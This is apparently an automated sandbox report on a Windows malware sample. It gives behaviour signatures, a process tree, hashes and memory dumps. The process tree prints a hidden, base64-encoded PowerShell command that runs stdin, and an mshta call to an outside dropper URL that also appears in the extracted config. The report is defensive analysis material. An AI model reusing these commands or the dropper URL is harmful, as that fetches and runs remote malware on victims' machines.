Analysis

  • max time kernel
    149s
  • max time network
    114s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 07:52

General

  • Target
    2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe
  • Size 2.5MB
  • Sample260604-jqmd8act4j
  • SHA256 ec11251c4cce49996205c7ecb897f85202e9a67aedf4c67c16c803b428269b54
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://vdsina.vg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3192
      • C:\Users\Admin\AppData\Local\Temp\2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-06-04_c312d07cd50d7a8457405767d8c5d285_cobalt-strike_elex_frostygoop_hive_salatstealer_sliver_snatch.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -NonInteractive -WindowStyle Hidden -EncodedCommand JABzAD0AWwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZgAoACQAcwAuAEwAZQBuAGcAdABoACkAewBpAGUAeAAgACQAcwB9AA==
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1776
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" https://vdsina.vg
            4⤵
            • Badlisted process makes network request
            • Modifies Internet Explorer settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4916
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --new-window
        2⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3496
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff85f9dc728,0x7ff85f9dc734,0x7ff85f9dc740
          3⤵
            PID:4940
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1600,i,876240601861275171,9454839330136491770,262144 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1952 /prefetch:2
            3⤵
              PID:1228
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1472,i,932236758253070962,5537824358056485606,524288 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2200 /prefetch:11
              3⤵
              • System Time Discovery
              PID:4532
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2356,i,12259191669015479543,15325425562934587937,524288 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2724 /prefetch:13
              3⤵
                PID:3320
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3228,i,5741353688784388626,17011329450230195109,2097152 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3300 /prefetch:1
                3⤵
                  PID:2688
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,10521325120046131484,8837537525362035368,2097152 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3320 /prefetch:1
                  3⤵
                    PID:4968
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,11878521915721518078,8982487468599584866,2097152 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4248 /prefetch:9
                    3⤵
                      PID:4688
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4500,i,14738198156791411677,1774444629256220082,2097152 --field-trial-handle=1960,i,9501131626380875572,4115808318783813914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1592 /prefetch:1
                      3⤵
                        PID:3760
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:908
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM mshta.exe
                      1⤵
                      • Process spawned unexpected child process
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3224
                    • C:\Windows\system32\conhost.exe
                      conhost.exe
                      1⤵
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:4860
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe
                        2⤵
                          PID:3216
                      • C:\Windows\system32\wscript.exe
                        wscript.exe
                        1⤵
                          PID:2604

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              SCT Auditing Pending Reports

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                              • Size 2B
                              • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                              • MD5 SHA1 SHA512

                              bd9e3c6e-1b69-4e1a-a92e-8e0838a071e5.tmp

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\bd9e3c6e-1b69-4e1a-a92e-8e0838a071e5.tmp
                              • Size 115KB
                              • SHA256 9c2c582f9906c1d8ebad19177d77a7c8b1b5e12c345db3db06830c2fc2309cbc
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              __PSScriptPolicyTest_h5fz1jz0.tce.ps1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5fz1jz0.tce.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              memory/1776-31-0x000001E3EA410000-0x000001E3EA420000-memory.dmp

                              memory/1776-39-0x000001E3EA410000-0x000001E3EA420000-memory.dmp

                              memory/1776-38-0x000001E3EA350000-0x000001E3EA372000-memory.dmp

                              memory/1776-30-0x000001E3EA410000-0x000001E3EA420000-memory.dmp

                              memory/1944-25-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-29-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-28-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-27-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-26-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-0-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-1-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-42-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-61-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-62-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-64-0x0000000000400000-0x00000000004D2000-memory.dmp

                              memory/1944-63-0x00000000004E0000-0x0000000000796000-memory.dmp